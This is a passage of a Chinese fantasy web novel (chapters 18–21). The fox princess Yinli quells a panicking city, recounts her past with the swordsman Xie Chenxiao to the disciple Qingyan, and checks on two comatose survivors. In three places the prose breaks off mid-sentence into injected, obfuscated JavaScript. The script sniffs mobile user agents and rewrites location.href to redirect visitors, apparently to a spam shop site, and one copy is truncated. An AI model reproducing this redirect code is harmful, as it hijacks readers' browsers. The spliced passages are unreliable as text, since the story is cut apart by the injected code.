几人急急就要离开,银梨却猛地发现不对劲。 她问:“谢沉霄呢?” 18.第十八章 “……谢仙君?” 听到银梨在这时提起谢沉霄,君竹十分困惑。 “谢仙君怎么会在此?” 银梨震惊地反问:“……他一直不在吗?” 仔细想来,银梨苏醒以后,就只见过君竹磬言、小女孩和穿山甲。 没有谢沉霄。 谢沉霄本以为是因为谢沉霄是成年男子,且修为较高、受伤较轻,所以才单独安置在了别的屋子中。 但看君竹和磬言的反应,他们竟是打从一开始,就没有在这个林子中见到谢沉霄! 银梨道:“我在‘鬼君’体内见到了他,他似乎也是被抓获的。我昏迷之前,将谢沉霄和其他人一同推出了鬼君的身躯,他应该与另外两位是在一块儿的才是。” 君竹和磬言对视一眼,皆是满脸茫然。 君竹说:“……公主,我与磬言赶到时,只看到您和这两位幸存者,并未看到谢仙君。” 磬言同道:“是啊,没有别人。” ……难道是谢沉霄先一步醒了,为找救援,就去了别处? 谢沉霄修为高强,且被那个“鬼君”捕获的时间应该不久,确实受伤最轻。 但若是如此,他为什么没有先找到神女像,也没有和君竹、磬言会合? 银梨十分不安。 没想到在雾散的档口,会出这样的变故。 要去找谢沉霄吗?可万一找不到,鬼瘴又聚起来,导致其他人错过时机,再次被困丧命怎么办? 银梨左右为难。 时间紧迫,由不得她犹豫,必须下决断。 谢沉霄是当今第一剑修,银梨信任他,确定他在这种情形下,能做出最恰当的判断,而不是苦等着被人营救。 银梨道:“出去以后,先通知林子外的弟子留在此地接应谢仙君!我们三人以最快的速度,即刻返回银月城!” * “公主!” “是公主!” “太好了,公主平安回来了!” “快去通知青霜少君!” 银月城的情况果然很不安定,银梨尚未进城,只是遥遥现身,便已能看到城墙上有人骚动。 ——又要进城了。 银梨伤势不轻,比之上回离开月东林邪鬼的情况,她伤得更重、已尽力竭,实则十分虚弱,在树林中调查时已是硬撑。 然而,在出现在众人视线范围内的瞬间,她便恢复了自己的身份。 在与荒林外等候的月宫弟子会合后,银梨便换了身体面的衣裳。 她的躯体好像早已形成习惯,即使再疼痛疲倦,她仍一下子挺起了脊背,目视前方,云淡风轻,身后的九条狐尾像羽扇一般撑开,华美而从容。 如此姿态,象征着她与众人不同的身份实力,象征着她是月神的妹妹、高高在上的狐族神女。 从外表上,没有丝毫的破绽。 银梨垂眸望向凡间,维持自己在外人眼中的形象,她几乎已经麻木了。 但这一回,忽然地,她感到一个力道从身侧撑住了她,不着痕迹地分摊了许多身体的重量。 银梨微微偏过头去,便看见磬言不知何时靠近了她两三步。 他是银梨身边常伴的弟子,离得这么近并不突兀,但他的身体却结结实实地在看不见的地方撑住了银梨的力道。 外表如此青涩,竟意想不到的体贴和可靠。 银梨感激地轻瞥他一眼,面上却不动声色。 三人越过高墙,进入银月城的领域之中。 ——银月城并不安宁。 银梨何等熟悉这里,银月城的异样,绝逃不过她的眼睛。 越是靠近中心,越能感觉到城池内的诡异。 银月城的屏障似乎减弱了很多,但即使如此,银月城也没有加强人力的守备。 城墙外本该是士兵百步排一人,月宫弟子千步排一人,银梨不在城中,理应是更需要防御的时候,可银梨目之所及,驻守的兵力竟远低于标准,空寂的城墙边,只稀稀拉拉地驻扎着几人。 银梨一现身,城墙上下的士兵便一同将目光凝聚在银梨身上。 他们的眼神似乎有一种筋疲力尽的癫狂,与其说是希望,不如说是在试图抓住绝望中的最后一根稻草,透着末日的死气。 银梨被这样的眼神注视得发毛。 三人回到银月城时刚过午时,本该是一天中最热闹的时候,可城中却一反常态,静得古怪。 本应繁华的集市一片死寂,铺面大多没有开张,街道两侧的房屋门窗紧闭,街上只有零星的几个行人,也是是神情不定、行色匆匆。 宛如一座荒城。 银梨心中有了不好的预感,拧起眉心,不动声色地加速,尽快往月宫赶去。 等月宫外的光景进入视线,银梨便知道不对。 人,大量的人。 小灵山外人群簇挤,全城的人仿佛都聚在了这里。 月宫被里三层外三层地团团围住,密不透风。 入口位置更是挤得密密麻麻,几乎已看不见小灵山的山门。 攒动的人头连远看都有窒息感,像聚拢在蚁穴外的蚂蚁。 青霜带着几个有仙籍的月宫弟子守在山门前,凡人进不了月宫,实则硬闯不进去,但这个情况不能不维持秩序,不然无疑会彻底动乱。 挤在小灵山外的,不仅有住在灵地中的普通居民,连一部分士兵和未成仙的月宫弟子都加入了其中。 银梨到的时候,正有一个额间绑着头巾的男子跳到大石头上,打断在好言相劝的青霜,高声道—— “青霜这个副城主说了这么多,无非是权宜之计,想先让我们离开,大家不要被骗了!” “我们一旦被瓦解,再聚起来会非常困难!” “银月城出事,他们这些已经成仙的随时都能躲回仙界、过无忧无虑的生活,当然不痛不痒,但我们呢?!” “连银梨公主都不见踪影,银月城恐怕早就不安全了!” “月宫说要保护我们,但究竟能保护到什么程度?又能保护到几时?说太阴星还有残力,但究竟能撑到哪一天?” “要是连月宫都能被鬼怪入侵,那我们拼死拼活地守城,究竟有什么意义!” 头巾男瞠目欲裂,苍白的巩膜血丝遍布。 从周身的灵气判断,他应该是三十多岁不到四十的月宫弟子,修炼过,但修为不佳,反而更适合修炼体术,可能当过士兵。 有修为的人理应更容易维持年轻的外表,但头巾男看起来却远比实际苍老,眼底青黑,眼神麻木,脸上堆满经年累月的疲倦,看得出精神早已到极限。 他说—— “我明白月宫是神女昔日的居所,肯定有很多信众哪怕只是为了月宫,也要死守银月城。但我们只想明哲保身,放弃一座早已没有神女的空宫,早点搬去更安全的地方,又有什么不对?” “望月城的城主谢沉霄是当世第一剑仙,望月城军纪森严、武力强盛;天水城别有洞天,又有金琼元君与云舒神君这对姐弟坐镇;守天城就在贯通仙神界的天河之外,离仙界的入口极近……若是银梨公主消失,银月城连城主都没有了,哪里不比这里安全?!” “还不如趁着鬼怪还没有意识到银月城的虚弱,尚未攻击城防,早点离开!再迟,就真的走不了了!” 头巾男话到此处,便有人纷纷附和—— “我们要求分割银月城三分之二的财产、秘籍和法器!现在想要离开银月城的人,远比想要守城的人多!银月城是所有人一同建起来的,我们理应拿到属于我们的部分!” “与其坐以待毙,还不如将月宫的神器也都拿出来,供大家各寻出路!” “银月城危在旦夕,吾等离去,也是为了保存月宫的力量。银梨公主不在,银月城战力大减,若是执意守城,等全城覆灭,连月宫和太阴星都落入永夜的异类手中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17030485|194197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,便真的来不及了!” “这样执着于一个没有神女的月宫,真的有意义吗?!说实话,我早就不期待什么驱逐黑夜、光复凡境的梦想了,如今不过想尽可能平安地度过残生,难道就连这点希望都不能争取吗?!” 在场的人并非都是同样的想法,但有一方发难,其他人怕被抢了先机,便都按捺不住躁动起来—— “这些年来,我们谁不是一直在为月宫拼命?可结果呢!死的人越来越多,灵地却越来越少!到头来,这些努力究竟有什么意义!还不如干脆放弃,轻轻松松地找个地方享乐几日听天由命,没准还能活得痛快些!” “银梨公主怎么可能在月宫失踪!她必定是放弃银月城,自己回仙界去了!我们继续守在这里,也不过是等死而已!” “既然在外面,神女像可以提供庇护,那月宫作为神女昔日的居所,里面的一草一木、一砖一瓦,是不是可能都有同样的作用?如果将它们拿出来让我们带上,是不是路上就可以安全了?!” “你们怎敢质疑神女、背叛月宫?!你们究竟是不是信徒,神女赐月的恩情,就这样被你们这些忘恩负义之徒抛诸脑后?你们该不会是外面混进来的异物,专门来扰乱人心的吧?!” “少君,不是我们不愿意离开,但你看他们这些人都是这种架势,要是真的拆分月宫,让他们先抢光了月宫的财产和神器仙器,我们剩下的人怎么办?我们也想保命啊!不能因为我们老实听话,就让我们等死啊!” “对!要是其他人不走,我们也不走!” “少君身为仙躯神骨,自不必在意我们这些蝼蚁死活,但我们肉体凡胎,不过一条性命,不得不为自己考虑!” “银梨公主在月宫中失踪,会不会现在凡人已经可以进入月宫了?虽然月宫可能也不够安全,但肯定比别的地方好吧?” “少君!放我们进月宫!放我们进月宫!” 场面乱成一团。 诚然青霜他们修为更高,一挥手就能驱赶所有人,但青霜他们不可能真对城中的凡人动手。 武力镇压只会加剧混乱,加重众人的恐惧情绪,甚至滋生人们对月宫的不信任,没有任何作用。 然而众人想法不一,都难以冷静。 乱世之下,其实未必真有万无一失的方案。 就算天下的所有生灵众志成城、齐心协力,也未必就能阻止永夜。 有志者事竟成、人定胜天,这不过就是一种自我勉励的美好愿景。 事实是,这世上多的是人力所不能及之事。 在大势天洪之下,有时再拼命的反抗,也不过是蚍蜉撼树,可笑的垂死挣扎罢了。 最后赢了也就算了,如果输了,过程中付出的努力和牺牲,都将毫无意义。所以归根结底,每种想法,或许并无对错可言。 但局面越是凶险,各方感受到的压力越大,人的意志会被逐渐削弱,每个人都会想出不同的方式来试图改变自己的处境,但人与人的想法立场各不相同,意见难以统一,自然矛盾越来越多,甚至会沦落到互相攻讦的地步。 到了这个地步,人心已经一击即溃,甚至不需外部施压,自己就会四分五裂。 小灵山前,人群不受控制地向前拥着、推搡着,夹杂着对彼此的指责。 这样下去,即使没有鬼怪,都有人要被挤死、踩死。 就是在这一刻,银梨毫不犹豫地在众人面前现身。 她精疲力竭,身上伤口遍布,许多伤处都被外面的阴邪之气侵蚀到了溃烂的边缘,仙力更是近乎耗竭。 但她在人前出现时,所有异样都像消失了。 凌波微步,仙姿神容,九条白尾犹如盛放的白色火焰,外表不过十七八岁的少女,却有一种令人无法违抗的气势。 银梨居高临下,看不出丝毫疲态,唯有运筹帷幄、胸有成竹的平静淡然。 她问:“月宫重地如此吵闹,是在争什么?” 19.第十九章 银梨的声音出现,世间为之一静。 她说话的力道其实不重,甚至称得上轻描淡写,但甫一出声,无人能不注意。 山门外的众人方才还争得面红耳赤,这会儿都像被定住似的安静下来。 最先回过神来的是青霜。 他一见到银梨,明显松了口气。 “太好了,你没事。” 青霜温柔的眸子深情地望过来,轻舒一声。 慢慢地,许多人也回过神来,眼底又重新充盈起希望之光。 “公主!” “是银梨公主!” “公主平安回来了!” 在众人希冀的目光中,银梨挺直了后背,从袖中取出那支缠有神发的发簪,当众举起。 这曾经是真正的神物,其他人纵然不能像银梨那样一眼就看出它的来路,但光凭它残留的气息和渗人的感觉,也能马上觉出此物不同寻常。 好诡异的邪气,只遥遥瞥见都让人胆寒,似乎连仙神都能被其压制。 有好几个有仙籍的月宫弟子都不由自主地瑟缩了一下,就连青霜都面色发白。 如此悚然之物,是要从怎样的邪怪身上才能得到? 然而,此刻,这样一件邪物,被银梨两指一并,漫不经心地拿捏在手中。 银梨好像也懒得多解释,只简单说道:“在银月城与天水城之间的荒林地下,曾盘踞了一个可以操纵其他邪物的庞大鬼怪。 “但现在,它已经死了。 “这,便是它的真身。” 银梨言简意赅,就像这不是一件需要多少细节来交代的事。 言罢,她将簪子又收起来,道:“目前我还有一些情况需要调查解决,大家不必担心,很快一切都将回归正常。” 银梨没有再关注众人的反应,她平静地向月宫走去。 无需多言,她步伐一动,人群便自动给她让出通路。 短暂的静默后,人群沸腾! “我就知道公主不会有事的!” “公主一定是为了不打草惊蛇,独自出城调查,这才没人知道消息!” 银梨透露出的信息实则很少,但众人开始自发为她补齐—— “不愧是公主,为了不牵扯旁人,以一人之力解决了鬼怪,还能及时归来!” “那个簪子看起来不一般,难以想象是怎么样的鬼物……” “不会能与鬼君相媲美吧?” “难不成,公主独自一人杀了鬼君?!” 凡人们的氛围肉眼可见地好转起来。 希望之火再次在人眼中亮起,欢呼声压过了质疑—— “公主!公主!” “公主万岁!” “天佑公主!福泽天下!” …… 银梨没有理会身后的奉承与赞美,缓步消失在山门之后。 待所有人都在视野中消失,她才长长松了口气,方一泄力,君竹和磬言便一人一边眼疾手快地搀住她。 银梨摆摆手表示自己没事。 有时候,她自己都会对自己积累的威望感到害怕。 太多人将希望寄托在她身上,于是他们自然而然也成了她的责任。 ……姐姐,这样的处境,和你过去相像吗? 银梨回过头,意味深长地看了一眼人群所在的方向。 欢呼声犹在耳畔。 银梨看得到人们态度的变化。 今日她平安回来了,满足了众人的期望,所以她又成为了无所不能的天神。 凡人供奉她、信仰她,托举她登上至高神台,用世上一切美好的词汇来妆点她,极尽所能地崇拜她、赞美她。 但如果她失败了,银梨毫不怀疑自己在他们口中,会成为抛弃众生、应该被千刀万剐的罪人。 银梨究竟是一个什么样的人、有多少能力,恐怕已经没有人能说得清了。 凡人会根据自己所处的立场和想要的结果,自行将她想象成自己需要的样子。 他们会给自己造神,也会给自己炼魔。 银梨深吸一口气,坐下来歇息了一会儿。 然后,她看向磬言与君竹两人。 她道:“君竹,磬言,此番你们劳心劳力,从荒林中救了我,我无论如何都应当感谢你们才是,若不犒劳你们些什么,便像不懂知恩图报的道理了。 “说吧,你们有什么想要的?只要我拿得出,便可以给你们。” 磬言与君竹对视一眼。 君竹先道:“为公主效力,本就是吾等分内之事。若是没有公主,银月城终将落入永夜,我们又如何能不拼尽全力保护公主呢?我们去救公主,本就是为了救我们自己罢了,若再向公主索要回报,倒显得是我们贪心。” 磬言也说:“我与君竹师姐想得一样。” 银梨坚持:“不行,这回你们若不说出点什么来,我便不放你们走了。” 二人哭笑不得,但银梨也很强硬。 拉扯半晌未果,君竹终于松口。 她眼神闪烁几下,期期艾艾地道:“其实,我有个朋友住在宝月城,已许久未见。我前阵子接到她的信,得知她染疾未愈,我实则有些担心,想去探望,只是银月城事务繁忙,一直无法脱身。 “若是公主同意的话,我想休假去一趟宝月城,不必很久,应当最多五日即可。” 君竹这实在是个很小的愿望,以她的资历和平日的勤苦,休息五日实在无可指摘。只是她责任感实在太重,这才告假也犹豫再三。 银梨毫不犹豫地给她准了假。 君竹眉间一松,便迅速回屋收拾行李去了。 君竹走后,银梨又看向磬言,问:“磬言,你呢?可有什么想要的?” 按照君竹的说法,磬言此次劳苦功高,比君竹做得更多。 银梨也记得他背自己离开时的景象,心怀感激。 磬言眸间温和,如有春风,说:“我不需要,能帮到公主,已经是我的奖励。” 银梨迟疑:“……你真的什么都不要?” “那当真要什么,公主都会给吗?” 磬言一动不动地凝视着银梨,浅笑着等她的回答,耐心之至。 银梨一滞。 磬言的目光令她感到难以招架,不禁躲闪开来。 银梨打了个太极,道:“你如果想要太阴星,我肯定不会给你的。” 磬言笑了:“我对太阴星没兴趣。” 思索片刻,忽然,他说:“不过,如果公主真的想奖赏我什么,或许有一件事,我希望公主能满足我。” “什么?” 磬言没有立即说出要求,反而问:“公主,喜欢剑术好的人吗?” “……?” 银梨没有跟上磬言的想法,一顿,只当是个寻常问题,作答:“你如果是问我喜欢什么武器的话,那的确应该是最喜欢剑吧。” 剑是百兵之君。 世间习剑之人,本就最多。 不过,最重要的是—— 姐姐当年,是用剑的。 在和平的年代,姐姐真正出剑的时刻并不多,但被问及这个问题,银梨脑海中第一时间便浮现出姐姐教她和青霜舞剑的样子。 姐姐的剑法轻快机敏,如同夜湖水波里跃动的月光。 她的剑法十分高超,底蕴深厚,绝不逊于世间任何人,却奇妙的,没有一点杀戮之气。 那剑术就像她这个人,轻盈跳脱,随兴所至。 正因如此,银梨一度以为姐姐这套剑法不是以武斗杀敌为目的,是美感有余、杀伤力不强的类型。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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薄薄的眼睫在少年的眼底覆上一层浅浅的阴影。 磬言欲言又止的神态,落在银梨眼中,竟颇为落寞。 银梨的态度不自觉地柔和下来。 “当然,你也没有说错。” 她承认道。 “我与谢沉霄,的确曾是很好的朋友。要说他与其他人完全一样,并不尽然。” ……谢沉霄武艺超群,如今甚至有天下第一剑修之称,而且他受伤的情况应该比银梨轻些,先苏醒不是没有可能的。 理智来说,银梨知道就算谢沉霄一两天没有消息,她也不必过于担心。 但事实上,自从发现幸存者中没有谢沉霄,银梨心上一直拢着一重阴霾,不安挥之不去。 定了定心神,银梨才继续说:“不过,那早已是过去的事了。我与他有许多不同的地方,后来会分道扬镳,再所难免。” 磬言回忆道:“的确,公主上回与谢仙君见面,尽管你们之间的氛围不同于旁人,但并不算很亲密,反而有些疏远。” 银梨苦笑:“你连这些也注意到了?” 磬言莞尔:“我一直将公主的一举一动都印在眼中,公主的情绪,我自然不会错过。” 银梨道:“磬言,说了这么久,你还没告诉我你想要什么奖励,我是不是不小心扯远了?” “不,这就是我想要的奖赏。” 磬言眉目如春风化雨。 他问:“公主能将自己与谢仙君的过往告诉我吗?” “……?” 银梨不太理解:“这就是你想要的奖励?你只想知道这个?” “是。我想知道公主的事,想知道公主与谢仙君的过往,更想知道,谢仙君是犯了什么错,才会与公主疏远。” 磬言作出倾听的姿态,诚心诚意。 “公主,愿意告诉我吗?” “……” 银梨被磬言真挚的目光引住。 其实,也没有什么不好说的,在她内心深处,或许也有倾诉的愿望。 银梨道:“要说他做错什么,倒也不是。” 论起来,不过是道路不同罢了。 20.第二十章 望月国,观月台。 “银梨……你可不可以不要那么快离开?我希望你继续留些时日,留在……我身边。” 那天夜晚,沉默寡言的谢沉霄,一反常态,对银梨倾吐了一个仅仅是出于他私心的愿望。 对一个公事公办、一板一眼的人来说,提出这样的请求,是很罕见的。 更何况,他是在以凡人之躯,挽留一片明月身畔的辉光。 希望她留在凡间,留在皇宫中,留在他近处、触手可及的地方。 太多克制埋藏在心中,在能说出口的话里,这也已是一个艰难的吐露。 谢沉霄没有要求更多。 但他望她望得太深、太久,以至于银梨从他的眼神中,领悟到了一丝别的意味。 他们相识时都是孩童,而如今,谢沉霄已长大成人,银梨的成长却要慢得多,不过初显少女轮廓。 二人的差别日渐显著,现在还可算作年华相当,一旦分开,只怕步调愈发不同,终将为云泥之别,到时,连表面相称的短暂相聚,都成奢望。 银梨已经可以想象,她回到天上,像从前游山玩水、修炼嬉戏。 然后,偶尔哪一天想起年少时的这段经历,又来到人间。 那时,谢沉霄已是成为白发苍苍的垂暮之君,她却容颜如故,仍是昔日模样。 若是无法久长已是注定,那么只争朝夕,珍惜眼前的时光,未必不是妥善的选择。 选择权被放在银梨手中。 她审视自己的内心,坦诚而言,她对谢沉霄未必就没有些微超出寻常的好感,未必就没有多留几日的念头。 但在做出决定之前,银梨问了谢沉霄一个问题:“我先前留在凡间,是为了报答你的救命恩人,但如今你已取回君位,大业既成,我留下来,又是为了做什么呢?” 谢沉霄一时没答上来,想了很久,他说:“望月国百废待兴,还有许多事需要仙神的助力。 “若你留下来……帮我,帮这里的凡人,我会为你著书立庙、修筑神像。 “仙凡有别,我能为你做的,唯有俗事。 “所以,我会将你的功绩记入望月国的史册之中,为你铸造最精美的石像,至少在望月国,你的名字会与月神相伴,流传千古,永远成为举国供奉的神女。” 谢沉霄说得缓慢,亦很真诚。 但银梨听完,便摇了摇头:“这不是我想要的,更不是我想做的事。我在这里应做的,都已经做完了。姐姐说,我也到了年纪,可以去学习一些更新奇的术法了。 “若我继续留下来,便做不了真心想做之事,唯有陪你这一个原因罢了。” 银梨顿了顿。 她又说:“我们早已是朋友,我也留恋和你待在一起的时光,但你也知道,我并不多么稳重,不太能定的下心来。 “如果我留在凡间,你能抛下一国之君的责任,经常陪我游山玩水,或者远离俗世,去深山中修炼吗?” 谢沉霄没有回答。 对谢沉霄而言,最初修炼并非本愿,虽说这让他机缘巧合窥见了仙缘,并让他凭此夺回了君位,但这终究不是出自本心,既然他如今已回到正轨,那么当然也就不必再修什么仙了。 在他心中,治理天下才是首要之责。 他有意做一个勤政的君王,以江山兴盛为己任,依他的性格,自不可能随意抛下肩上的职责,去陪银梨玩乐,挥霍时间做那些在他看来并非正业之事。 银梨见他不言,心中便已清明。 她笑起来,道:“我不能继续留在这里了。我下凡已经很久,姐姐在想我,我该回月宫了。” 银梨正式与他道别,很快回到仙宫。 她继续修炼,释放天性,想当人就当人,想当狐狸就当狐狸,甚至还可以当小石头。 她在仙山上甩着尾巴翻滚嬉戏,如常与姐姐、青霜玩闹,不时寻山觅水,有时顽皮,有时又只是蹲在石头堆里望着天空不动,过着不知日月、无忧无虑的天上生活。 凡尘的往事,不久就被抛诸脑后。 凡间那区区十年的光阴,对寿数悠长的神女来说,不过是孩童时一时兴起的消遣,弹指一挥间,纵有些许留恋,须臾便可忘怀,不足挂齿。 那晚以后,她再也没有见过谢沉霄。 直到过了许多年,突然,仙界一个传闻甚嚣尘上,传入银梨耳中。 原来,竟有一位人间的帝王四处求仙问道,拜师元虚宫,展露不俗天资,最终剑破十万雷劫,立地飞升,得道成仙,成了一代剑修谢沉霄。 ………… …… 银梨将自己与谢沉霄之间的过往告知磬言,以满足磬言的心愿。 她很少主动谈起,但其实也不是什么不能让人知道的故事。 她奇道:“你真的只想知道这些吗?” 磬言颔首:“于我而言,意味良多。” 很久没有回忆这段过往了,银梨自己说起,亦恍然隔世。 银梨总结:“世上没有十全十美的事。 “我之所以会与谢沉霄相识,便是因为他是被冷落的储君,是因为他严于律己、克制守责,即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17039182|194197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使在那样的困境中,他仍日日清晨在月东林中练剑,不曾懈怠。若非如此,他便不能在那天凑巧破开迷途鬼阵,救出里面的我。 “只是这样的人,注定会将自己的职责放在第一位,不可能抛下江山社稷,来陪我做那些对他来说不惜光阴的事。 “凡事总有两面,便是如此。 “那时我尚且年少,玩乐心很重,不是能安定下来迁就他人的性子。 “他有他的路,我也有我的,或许不是完全无法互相妥协,但的确时机不对。” 世事有时并无对错可言。 时机对或不对,合适或不合适。 如此而已。 银梨在说的时候,磬言听得极为专注。 他若有所思:“原来如此。在公主看来,谢仙君本人并无不妥,只是时局立场不同,才导致无法同行。” 他垂眸,露出一丝了然,轻轻道:“如果是我,一开始便会选一个更好的身份立场,以便与公主长久相伴,定不会出现这种情况。” 银梨失笑:“身份立场本是天生而来,何谈选择呢?” 磬言浅浅笑着,并未解释,只应和着:“公主说的也是。” * 银梨浑身是伤,迫切需要治疗。 将银月城的事匆匆处理过,银梨立即就进了月宫的药池,在里面一连泡了数日。 君竹说要去宝月城探望朋友,实则根本放不下银月城的事,她的好友身体好似也并无大碍,于是她第三日就回来了。 银梨担心银月城危机刚过,还不稳定,便让君竹替她打探外面的消息。 谁知,外面一切如常,她听到最多的事情,反而是关于磬言—— 那日,君竹回来后,十分震惊地道:“公主,您知道磬言是怎么了吗?大家都说他从荒林回来以后,突然开始狂练剑术,废寝忘食,昼夜不息。” “……什么?” 银梨第一时间那日磬言问她的话。 但不等她反应过来,更重磅的消息还在后面—— 君竹说:“公主,你知道吗?磬言这小子,不显山不露水的,竟是个剑术方面的天才! “短短数日,他的剑术可谓突飞猛进,日进千里!一不留神,几乎就没有人能赶得上他了! “月宫中习剑的弟子因此纷纷找他比试,竟无人能胜过磬言。 “方才,我也过去看了。 “那一手剑简直出神入化,几下就将人制服,还未伤对方分毫! “隐约之间,简直有几分谢沉霄谢仙君当年的风范呢!” 20-30 第21章 “你说的……是磬言吗?” 听到君竹的描述, 银梨果然大吃一惊。 她尝试在脑中勾勒着磬言使剑的样子。 在银梨的回忆里,好像没什么磬言使用武器的景象。 他给人的感觉太温顺无害,甚至很难想象习过武。 但仔细想来, 磬言被安排在她身边, 还能深入鬼瘴找她, 修为武艺定然不会太差。 君竹则是对磬言夸赞不已:“想不到磬言还有这般天分!而且他最近,在银月城的弟子中也颇有了些威望。 “因为剑术与从荒林救回公主的事,大家都很信任他。 “磬言为人不张扬,关键时刻却靠得住, 待人亲善而有耐心, 这回又是他主导寻回的公主, 不少人都对他颇为佩服。” 君竹又赞又叹:“磬言有这样的能耐,我便可以放心了。 “看来 今后,即使我不在公主身边, 只要还有磬言在,就没什么可担心的。” 君竹难掩后辈成长的欣慰之喜。 君竹素来刚正要强, 能让她说出这样的话, 可不容易。 银梨听了,不觉诧异。 她道:“磬言,当真只练了这么几日,就有这般成就?” 恰在此时, 书房门响三下。 磬言的声音从门外传来:“公主, 我来与师姐换班了。” 说曹操, 曹操就到。 银梨当即让他进来。 他一进门, 君竹就说:“磬言,来得正好,我与公主正聊到你。” “什么?” 磬言看向银梨。 银梨敛神, 回答:“君竹刚才在对我夸你,说你剑术超群,简直犹如脱胎换骨。她还说,若是如此,今后即使没有她在我身边,凭你一个人,也能独当一面了。” 磬言看上去对这个评价没有什么意外,不骄不躁,十分平淡。 他嘴角浅浅弯着,双眼直看向银梨,谦逊地道:“不过是剑术罢了,只要公主喜欢,无论是什么,我都会努力的。” “……?” 银梨觉得他话中的意味奇怪,就像旁人的评价、他自己的喜好皆不重要,他在意的,只有她这个城主似的。 磬言笑意不达眼底,可银梨想要细读时,又读不清楚。 * 银梨回到灵地后,银月城难得平静了数日。 内部的骚乱被顺利平息,外部也暂时没有侵扰。 不知是不是因为那个龙神发丝所化的“鬼君”被杀,那些会频繁进攻灵地屏障的小邪祟群突然销声匿迹,各地弟子上报的异常事件也蓦地少了大半。 灵地内风平浪静得不可思议,甚至让人有屏障已无用处、人们即使走出灵地也不会出事的错觉。 有了喘气的时间,那些常年高压的银月城守卫们脸色都好了许多,偶尔有了笑容。 城中许久不曾有这般乐观轻快的氛围了。 唯有一人,仍未展颜。 银梨不敢掉以轻心。 她很清楚,太阴星没有恢复,一切平静,都只是镜花水月。 况且…… 即使是眼下的平静,在她看来,也未必是好事。 窗前,银梨遥望远处山水,问:“君竹,像这样的阴天,是不是持续很久了?” 月神亡故以后,凡间气候大变,天气一直都不好,但最近格外沉郁。 最近云层总是压得很低,厚重阴郁,云隙间隐隐染着乌色,像要下雨,却又始终未下,即使是正午,光线仍然昏暗,以至于空气终日阴冷,隐约有难以摆脱的潮气,黏在身上,透着微微的寒意,白天像缩短了似的。 银梨回到银月城以后,连日皆是这样的天气,抑得人喘不过气。 起初她还以为是季节的原因,但持续这么久不见变化,实属异样,不免容易叫人联想到不好的天象征兆。 君竹听到银梨的话,抬头看向外面,却并未感觉有什么不对。 她只道:“是每天都像要下雨似的……可能是快年底了,现在正是深冬吧。” 银梨不言。 想了想,银梨说:“君竹,今日,陪我去看看那两个伤患的情况。” 君竹应道:“是。” 银梨说的“两个伤患”,是她从那个“鬼君”体内救出的两个幸存者。 小灵山下的药庐,一踏入便是浓重的中药味,墙上悬着一卷书法,上书—— 骄恣不论于理者,不治。 轻身重财者,不治。 衣食不能适者,不治。 一个披头散发、骨瘦如柴的矮小女子埋首在堆积成山的医案中,听到有人进门的脚步声,头也不抬:“此庐只接诊久病不愈之奇症难症与濒死之重伤,非将死之人不医,能自行行走者请另寻他处。” 银梨开口唤人:“华鹊。” 瘦小女孩抬起了头,这才发现是银梨。 她马上起了身,也不多废话,直接道:“原来是公主来了!公主是来看那两个病人的吧,请跟我进来。” 女孩亟步引路。 走进药庐深处,穿过一个小院,便是一间一间隔开的草屋,每间都只有方丈大小,但似乎都有病人,偶有药童进出。 小女孩开了一间草屋的门,膏药味扑面而来。 这屋子稍大些,有两张简单干净的床铺。 银梨从“鬼君”体内救出的两个幸存者,就躺在上面。 年幼的女孩身上伤口都在愈合,只是双目紧阖,未有苏醒迹象。 穿山甲同样,保持着蜷成球的姿态,一动不动。 银梨从沦为鬼巢的荒林中将他们救出来后,这两个幸存者便一直没有清醒。 至今一月有余,药物未见成效,只能用灵气吊着口性命。 名为“华鹊”的药庐女子汇报道:“这两个患者还是老样子,伤势可以治疗,但始终没有苏醒的迹象。 “依我之见,这是因为他们被公主所见的那个邪物吞噬过,鬼气侵体太深,本身神智魂魄被抑制,这才无法恢复。 “正常来说,遇到这种情况,只要将患者带回灵地之内,有太阴星对邪气的驱散,慢慢就能好转。但这二位……” 医者停顿。 她说:“我猜测,应该是吞噬过他们的那个邪物格外强大,导致抑制住他们的鬼气比寻常更难以驱除;另一方面……或许也是凭如今的太阴星,不足以驱散如此固执鬼气之缘故。” “……” 银梨眼神沉了一息。 她问:“华鹊,凭你的知识,能判断出压制他们神智、以至于他们长期不醒的鬼气,是来自什么类型的邪物,或者……来自几个邪物吗?” 华鹊不明白银梨为什么会有这样的问题,她偏头思索片刻,严谨地回答:“我可以试着梳理,但很难,他们身上的气息有些过于混乱了。 “而且,时局如此恶劣,鬼气混杂很正常,就算理出头绪了,也未必对治疗他们有什么帮助……公主难不成是怀疑,导致他们长睡不醒的,并非是公主亲手所杀的那个鬼怪吗?” 银梨手指上在桌上浅叩了两下,没有明确说是或不是。 她道:“只是病急乱投医,想多找些线索罢了。” 银梨停顿,又言:“关于那个荒林鬼君,我还有一些在意的情况想要了解,以当下的情况,除我之外,恐怕他们是仅有的在场者。 “其实他们被我带出来时也是晕厥,未必就知道什么,但若有一线希望,我便还想试试。 “他们现在长期不醒,安于现状不见得是好事,正好尝试些别的治疗方向。 “无论可不可行,华鹊,就麻烦你,先试试吧。” 